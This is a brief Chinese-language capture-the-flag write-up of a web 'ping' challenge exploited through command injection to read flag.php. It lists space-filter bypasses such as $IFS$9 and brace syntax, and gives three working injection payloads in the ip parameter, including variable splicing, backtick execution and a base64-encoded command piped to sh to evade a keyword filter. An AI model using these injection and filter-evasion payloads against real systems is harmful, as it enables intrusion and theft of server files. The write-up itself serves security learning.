做web题也经常遇到很多关于命令执行的一些姿势,这次就总结下来:
https://www.codenong.com/cs105422347/
进入题目
肯定先Ping一下本地IP:127.0.0.1
能连接上
然后用**ls**关键字列出当前目录的内容
接着我们肯定想查看flag.php里面的值
用**cat**命令查看文件内容,
还有其他查看命令主要是tac,head,more,tail,less
显示空格被过滤了;
一般空格过滤绕过的方法:
{cat,flag}; ${IFS$; $IFS$9; <; <>;
经过测试用空格用**$IFS$9**绕过;
然后变量**拼接,倒序**得到payload:
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
也可以?ip=127.0.0.1;a=lag;cat$IFS$9f$a.php
解法2:
内联执行绕过
将**反引号内**命令的输出作为输入执行
?ip=|cat$IFS$9`ls`
解法3:
虽然过滤了bash,但没过滤sh,可以使用下面的方法:
ip=1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh